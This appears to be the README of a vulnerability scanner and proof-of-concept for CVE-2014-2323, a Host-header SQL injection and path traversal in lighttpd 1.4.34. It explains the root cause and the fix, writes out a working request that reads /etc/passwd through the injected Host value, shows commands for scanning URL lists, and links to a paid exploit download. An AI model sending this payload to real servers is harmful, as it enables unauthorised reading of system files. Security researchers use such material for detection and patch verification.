
Scanner and proof-of-concept exploit for CVE-2014-2323, the lighttpd mod_mysql_vhost Host-header SQL injection and path traversal affecting versions up to 1.4.34.
lighttpd <= 1.4.34 - mod_mysql_vhost SQL injection through the Host header plus path traversal
| field | value |
|---|---|
| CVE | CVE-2014-2323 |
| severity | critical |
| CVSS | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| fixed in | 1.4.35 (affected: all versions up to and including 1.4.34) |
| class | SQL injection via Host header / path traversal (CWE-89) |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RTK
lighttpd up to and including 1.4.34 combines two lax behaviours into a full
read primitive. request_check_hostname() in src/request.c stops
validating a bracketed IPv6 host right after the closing ], so a quoted
tail such as [::1]' UNION SELECT '/ leaks verbatim into
con->uri.authority. mod_mysql_vhost.c then splices that value into
SELECT path FROM vhosts WHERE host='?' with no escaping, so the injected
UNION SELECT '/' row becomes the document root of the same request and
GET /etc/passwd is served from the filesystem root.
The vendor advisory (lighttpd SA-2014-01, reported by Jann Horn) splits this
into CVE-2014-2323 (SQL injection in mod_mysql_vhost.c, related to
request_check_hostname) and CVE-2014-2324 (the path traversal); the fix
for the injection also fixes the traversal. The mechanics on a 1.4.34
build with mod_mysql_vhost enabled:
request.c::request_check_hostname() validates the IPv6 literal inside
the brackets, then only checks a port when the next char is :; any
other char leaves the rest of the Host header unchecked and it is stored
as-is into con->uri.authority.mod_mysql_vhost.c::mod_mysql_vhost_handle_docroot() builds the query by
appending con->uri.authority between the mysql-vhost.sql pre/post
fragments with no quoting (1.4.34 calls plain mysql_query()).Against the template's raw request
GET /etc/passwd HTTP/1.1
Host: [::1]' UNION SELECT '/
the executed statement is SELECT path FROM vhosts WHERE host='[::1]' UNION SELECT '/'; the UNION row supplies / as the doc root, so the
plain file /etc/passwd resolves and the body carries root:x:0:0:.
That is the single template matcher (type: regex, one raw request,
max-request: 1).
Patch comparison (vendor sources src/mod_mysql_vhost.c):
mysql_real_escape_string() before being appended to the query and
mysql_query() is replaced by mysql_real_query(); request.c also
tightens hostname validation. On a patched build the bracketed-plus-tail
host is rejected with status 400 and the regex no longer matches.Remediation: upgrade to lighttpd 1.4.35 or later, or disable
mod_mysql_vhost.
GET {base}/etc/passwd with header Host: [::1]' UNION SELECT '/.root:[x*]:0:0: on the response
body; the scanner verdict is that single boolean, like the template.check(url) returns (verdict, details) with status, content type,
Server header, a 300-char body window and the per-matcher boolean.token over the JSON result distinguishes a parsed
response from an empty or truncated one.urls.txt are auto-prefixed with http://.python scanner/CVE-2014-2323/scanner.py urls.txt 8 CVE-2014-2323.csv --json CVE-2014-2323.json
python exploit/CVE-2014-2323/exploit.py http://target/ --csv CVE-2014-2323.csv --json CVE-2014-2323.json --verbose
urls.txt is a plain file, one target per line, # for comments.
[*] lighttpd <= 1.4.34 CVE-2014-2323 mod_mysql_vhost SQL injection + path traversal scanner
scanner : CVE-2014-2323 v1.0.0
endpoint: GET /etc/passwd with Host: [::1]' UNION SELECT '/
matcher : regex root:[x*]:0:0:
threads : 4 | csv: s2323.csv | json: s2323.json
[..] loaded 1 target(s) from urls_2323.txt
[..] [1/1] http://127.0.0.1:8099 -> VULNERABLE
[..] json sidecar saved: s2323.json
[..] summary: total=1 vulnerable=1 not-vuln=0 errors=0
[..] timing : avg=8ms max=8ms wall=0.01s
[..] report saved: s2323.csv
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok / error |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | md5 proof-of-parse (12 chars) |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.../../exploit/CVE-2014-2323/exploit.py - two-request POC with numbered
checks and md5 token proof.| code | meaning |
|---|---|
| 0 | at least one target answered |
| 2 | every target errored |